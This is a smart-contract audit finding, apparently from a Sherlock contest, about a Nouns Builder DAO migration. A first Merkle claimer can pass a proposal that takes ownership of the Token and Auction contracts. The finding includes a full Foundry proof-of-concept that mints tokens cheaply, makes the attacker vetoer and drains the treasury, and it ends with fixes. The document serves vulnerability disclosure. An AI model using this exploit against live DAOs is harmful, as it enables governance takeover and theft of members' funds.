Gigantic Indigo Cottonmouth

high

# Migrated DAO exposed to Hijacking shortly after creation due to insecure renounceOwnership function

## Summary
A claimer with a valid merkle proof can exploit a newly migrated DAO by passing a proposal immediately after the DAO is migrated, transferring ownership of Token and Auction to themselves and consequently gaining full control of the DAO.

## Vulnerability Detail
This vulnerability is the result of a combination of two factors: 1. The renounceOwnership function sets Treasury as owner of Token and Auction contracts (enabling a proposal to transfer ownership from them to any owner). 2. The first Merkle claimer have unproportional voting power since the new DAO starts empty and there is no way to predict/control the rate at which more claimers will claim their tokens (and consequently voting power).
This enables a malicious claimer to run the following attack:
1. Claim their token immediately after the migrated DAO is created and renounceOwnership is called.
2. Create a malicious proposal that, using the fact that treasury is owner of both Token and Auction, transfers ownership of Token and Auction to themselves.
3. the malicious proposal can also set the Vetoer to the attacker, reset parameters such as votingDelay and votingPeriod to the minimum and set the execution delay to 0 (these will not affect the malicious proposal but facilitate subsequent malicious proposals).
4. If the malicious proposal goes unnoticed (which is not unlikely given that the migrated DAO was just created, and specifically for DAOs with relatively short votingPeriod and execution delays) it will likely pass with just the attacker voting for it (as the POC shows) given that initially they own all of the voting power.
5. Once the proposal in executed they gain full control of the DAO, since transferring ownership of Token and Auction to them can not be undone. From this point they can: Mint unlimited tokens to themselves for virtually no price by manipulating the auction params (shown in the POC) gaining unlimited voting power, pass any proposal within 10 minutes (the minimum voting period) including swiping any funds in the treasury, set themselves as token founders with any ownership percent, set themselves as FounderReward address with maximum founderReward percent allowed etc.
6. While the attack goes unnoticed, the attackers can swipe from the treasury contract any payments collected from additional Merkle claimers, new auctions or treasury fund migrations.

## Impact
As detailed above and demonstrated on the POC, the exploiter can swipe any funds from the treasury contract including payments collected from additional Merkle claimers, new auctions or treasury fund migrations. They can fully control the Auction and Token contracts and any proposals, enabling them to abuse the DAO or render it worthless if they choose to. The only remedy is for the original deployer/founder to reset the deployment and redeploy, however funds, reputation and trust lost before the exploit is detected can not be undone. 

## Code Snippet
Problem Code:
[https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/db232c649b425c36f5a93607c95cfdf0e5962b2f/nouns-protocol/src/deployers/L2MigrationDeployer.sol#L172](https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/db232c649b425c36f5a93607c95cfdf0e5962b2f/nouns-protocol/src/deployers/L2MigrationDeployer.sol#L172)

POC:
To run: place the code in a file under the test folder and run with `forge test -vvv --match-test testNounsBuilderExploit`
```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
import { MetadataRendererTypesV1 } from "../src/token/metadata/types/MetadataRendererTypesV1.sol";
import { AuctionTypesV1 } from "../src/auction/types/AuctionTypesV1.sol";
import { L2MigrationDeployer } from "../src/deployers/L2MigrationDeployer.sol";
import { MerkleReserveMinter } from "../src/minters/MerkleReserveMinter.sol";
import { MockCrossDomainMessenger } from "./utils/mocks/MockCrossDomainMessenger.sol";
import { IToken, Token } from "../src/token/Token.sol";
import { TokenTypesV1 } from "../src/token/types/TokenTypesV1.sol";
import { MetadataRenderer } from "../src/token/metadata/MetadataRenderer.sol";
import { IAuction, Auction } from "../src/auction/Auction.sol";
import { IGovernor, Governor } from "../src/governance/governor/Governor.sol";
import { ITreasury, Treasury } from "../src/governance/treasury/Treasury.sol";
import { Ownable } from "../src/lib/utils/Ownable.sol";
import {console2} from "forge-std/console2.sol";

contract RenounceExploit is NounsBuilderTest {

    MockCrossDomainMessenger xDomainMessenger;
    MerkleReserveMinter minter;
    L2MigrationDeployer deployer;
    MerkleReserveMinter.MerkleMinterSettings minterParams;
    bytes32 internal nextUser = keccak256(abi.encodePacked("user address"));

    uint256 public constant TimeLock = 1 days;
    uint256 public constant VoteDelay = 1 seconds;
    uint256 public constant VotePeriod = 1 days;

    function setUp() public virtual override {
        super.setUp();

        minter = new MerkleReserveMinter(address(manager), rewards);
        xDomainMessenger = new MockCrossDomainMessenger(founder);
        deployer = new L2MigrationDeployer(address(manager), address(minter), address(xDomainMessenger));
    }


    //Main Exploit Function 
    function testNounsBuilderExploit() public {

        //deploy/migrate dao using L2MigrationDeployer 
        deploy();

        //renounce ownership
        vm.startPrank(address(xDomainMessenger));
        deployer.renounceOwnership();
        vm.stopPrank();


        //Exploiter mints 1  NFT (first to claim of the merkle minters)
        bytes32 proof = bytes32(0xd77d6d8eeae66a03ce8ecdba82c6a0ce9cff76f7a4a6bc2bdc670680d3714273);
        address claimerExploiter = address(0xC1);
        merkleMint(proof, claimerExploiter, 5);
        deal(claimerExploiter,10000 ether);

        //Exploiter creates a malicious proposal that does the following: 1. sets itself as Vetoer 2. sets itself as owner of auction 3. sets itself as owner of token 4. changes voting parameters (votingDelay, votingPeriod,ExecutionDelay) to minimal values
        //Since exploiter is the first to mint, they have the voting power to pass to proposal with a single vote.
        vm.warp(block.timestamp+1);
        createMalProposalAndVote(claimerExploiter);
        console2.log("Vetoer: %s\n Owner of token: %s\nOwner of auction: %s",governor.vetoer(),token.owner(), auction.owner());
        //OUTPUT:   Vetoer: 0x00000000000000000000000000000000000000C1
        //          Owner of token: 0x00000000000000000000000000000000000000C1
        //          Owner of auction: 0x00000000000000000000000000000000000000C1

        //Exploiter changes auction params to mint themselves 1000s of tokens immediately and for virtualy no cost, gaining unbeatable voting power.
        vm.startPrank(claimerExploiter);
        auction.setReservePrice(1);
        auction.setDuration(1);
        auction.setTimeBuffer(0);
        auction.unpause();
        for (uint i;i<1000;i++) {
            (uint256 tokenOnAuction,,,,,) = auction.auction();
            auction.createBid{value: 1}(tokenOnAuction);
            vm.warp(block.timestamp + 1);
            auction.settleCurrentAndCreateNewAuction();
        }
        vm.stopPrank();
        console2.log("Token balance of exploiter: %s",token.balanceOf(claimerExploiter));
        //OUTPUT: Token balance of exploiter: 1001

        //The exploiter can now pass any proposal within 10 minutes (after setting MIN_VOTING_DELAY and MIN_VOTING_PERIOD) having minted enough voting power to overcome any group of merkle claimers. In addition, their proposals can not be vetoed since they are the Vetoer.
        

        //deployer migrates funds to the new DAO
        vm.prank(address(xDomainMessenger));
        deal(address(xDomainMessenger),20 ether);
        deployer.depositToTreasury{value: 10 ether}();

        //exploiter swipes all funds in treasury with a proposal (executed within 10 minutes)
        uint256 balanceBefore = claimerExploiter.balance;
        createSwipeAllProposalAndVote(claimerExploiter);
        uint256 balanceAfter = claimerExploiter.balance;
        console2.log("exploiter balance change after swipe: %s",balanceAfter-balanceBefore);
        //OUTPUT: exploiter balance change after swipe: 10500000000000001000
        //this includes the profits from the original exploiter claim, the 10 ether deposit and 1000 wei from the auctions loop
    }

    function deploy() internal {

        //set params
        setAltMockFounderParams();
        setMockTokenParamsWithReserve(100);
        setMockAuctionParams();
        setMockGovParams();
        setMinterParams();

        vm.startPrank(address(xDomainMessenger));

        address _token = deployer.deploy(foundersArr, tokenParams, auctionParams, govParams, minterParams);

        addMetadataProperties();
        
        vm.stopPrank();

        (address _metadata, address _auction, address _treasury, address _governor) = manager.getAddresses(_token);

        token = Token(_token);
        metadataRenderer = MetadataRenderer(_metadata);
        auction = Auction(_auction);
        treasury = Treasury(payable(_treasury));
        governor = Governor(_governor);

        vm.label(address(token), "TOKEN");
        vm.label(address(metadataRenderer), "METADATA_RENDERER");
        vm.label(address(auction), "AUCTION");
        vm.label(address(treasury), "TREASURY");
        vm.label(address(governor), "GOVERNOR");
    }

    function createSwipeAllProposalAndVote(address proposer) internal {
         vm.startPrank(proposer);
         address[] memory targets = new address[](1);
        targets[0] = proposer;
        uint256[] memory values = new uint256[](1);
        values[0] = address(treasury).balance;
        bytes[] memory calldatas = new bytes[](1);
        calldatas[0] = "";
        string memory description = "desc";
        bytes32 proposalID = governor.propose(targets,values,calldatas,description);

        //warp to vote start
        vm.warp(block.timestamp+governor.MIN_VOTING_DELAY());
        governor.castVote(proposalID, 1);

        //warp to vote end
        vm.warp(block.timestamp+governor.MIN_VOTING_PERIOD());
        governor.queue(proposalID);

        bytes32 descriptionHash = keccak256(bytes(description));
        governor.execute(targets,values,calldatas,descriptionHash,proposer);
        vm.stopPrank();
    }

    //initial malicious proposal that transfers control to the exploiter    
    function createMalProposalAndVote(address proposer) internal {
        vm.startPrank(proposer);
        address[] memory targets = new address[](6);
        targets[0] = address(governor);
        targets[1] = address(token);
        targets[2] = address(auction);
        targets[3] = address(governor);
        targets[4] = address(governor);
        targets[5] = address(treasury);
        uint256[] memory values = new uint256[](6);
        values[0] = 0;
        values[1] = 0;
        values[2] = 0;
        values[3] = 0;
        values[4] = 0;
        values[5] = 0;
        bytes[] memory calldatas = new bytes[](6);
        calldatas[0] = abi.encodeWithSelector(Governor.updateVetoer.selector, proposer);                            //set Vetoer to self
        calldatas[1] = abi.encodeWithSelector(Ownable.transferOwnership.selector, proposer);                        //gain ownership of Token
        calldatas[2] = abi.encodeWithSelector(Ownable.transferOwnership.selector, proposer);                        //gain owenership of Auction
        calldatas[3] = abi.encodeWithSelector(Governor.updateVotingDelay.selector, governor.MIN_VOTING_DELAY());     //set min voting delay (for future proposals)
        calldatas[4] = abi.encodeWithSelector(Governor.updateVotingPeriod.selector, governor.MIN_VOTING_PERIOD());   //set min voting period (for future proposals)   
        calldatas[5] = abi.encodeWithSelector(Treasury.updateDelay.selector, 0);                                     //set zero execution delay (for future proposals)
        string memory description = "desc";
        bytes32 proposalID = governor.propose(targets,values,calldatas,description);

        //warp to vote start
        vm.warp(block.timestamp+VoteDelay);
        governor.castVote(proposalID, 1);

        //warp to vote end
        vm.warp(block.timestamp+VotePeriod);
        governor.queue(proposalID);

        //warp to end of lock
        vm.warp(block.timestamp+TimeLock);
        bytes32 descriptionHash = keccak256(bytes(description));
        governor.execute(targets,values,calldatas,descriptionHash,proposer);

        vm.stopPrank();
    }

    function merkleMint(bytes32 claimerProof, address claimer, uint256 tokenID) public {
        bytes32[] memory proof = new bytes32[](1);
        proof[0] = claimerProof;

        MerkleReserveMinter.MerkleClaim[] memory claims = new MerkleReserveMinter.MerkleClaim[](1);
        claims[0] = MerkleReserveMinter.MerkleClaim({ mintTo: claimer, tokenId: tokenID, merkleProof: proof });

        uint256 fees = minter.getTotalFeesForMint(address(token), claims.length);

        vm.deal(claimer, fees);
        vm.prank(claimer);
        minter.mintFromReserve{ value: fees }(address(token), claims);
    }

    function setMinterParams() internal {
        bytes32 root = bytes32(0x5e0da80989496579de029b8ad2f9c234e8de75f5487035210bfb7676e386af8b);
        minterParams = MerkleReserveMinter.MerkleMinterSettings({
            mintStart: 0,
            mintEnd: uint64(block.timestamp + 1000),
            pricePerToken: 0.5 ether,
            merkleRoot: root
        });
    }

    fallback() external payable {
        // custom function logic
    }

     function setMockGovParams() internal virtual override {
        setGovParams(TimeLock, VoteDelay, VotePeriod, 50, 1000, founder);
    }

    function setAltMockFounderParams() internal virtual {
        address[] memory wallets = new address[](3);
        uint256[] memory percents = new uint256[](3);
        uint256[] memory vestingEnds = new uint256[](3);
        wallets[0] = address(deployer);
        wallets[1] = founder;
        wallets[2] = founder2;
        percents[0] = 0;
        percents[1] = 10;
        percents[2] = 5;
        percents[0] = 0;
        vestingEnds[1] = 4 weeks;
        vestingEnds[2] = 4 weeks;
        setFounderParams(wallets, percents, vestingEnds);
    }


    function addMetadataProperties() internal {
        string[] memory names = new string[](1);
        names[0] = "testing";
        MetadataRendererTypesV1.ItemParam[] memory items = new MetadataRendererTypesV1.ItemParam[](2);
        items[0] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "failure1", isNewProperty: true });
        items[1] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "failure2", isNewProperty: true });
        MetadataRendererTypesV1.IPFSGroup memory ipfsGroup = MetadataRendererTypesV1.IPFSGroup({ baseUri: "BASE_URI", extension: "EXTENSION" });
        bytes memory data = abi.encodeWithSignature("addProperties(string[],(uint256,string,bool)[],(string,string))", names, items, ipfsGroup);
        deployer.callMetadataRenderer(data);
    }
}
```

## Tool used
Manual Review

## Recommendation
A. It it recommended to avoid transfering ownership of Auction and Token to the treasury in renounceOwnership, an alternative can be to retrieve the founders set in Token (using getFoudners) and transfer ownership to them (this also requires to verify that during deploy addtional founders are set in addition to the deployer which is always founders[0]).
B. In general, the initial phase of a newly migrated DAO is sensitive to attack because of the initial imbalance in voting power in favor of first claimers. It might make sense to block proposals altogether until A: a certain initial time from creation has elapsed or B: a certain minimal percent of merkle claimers have claimed their tokens.
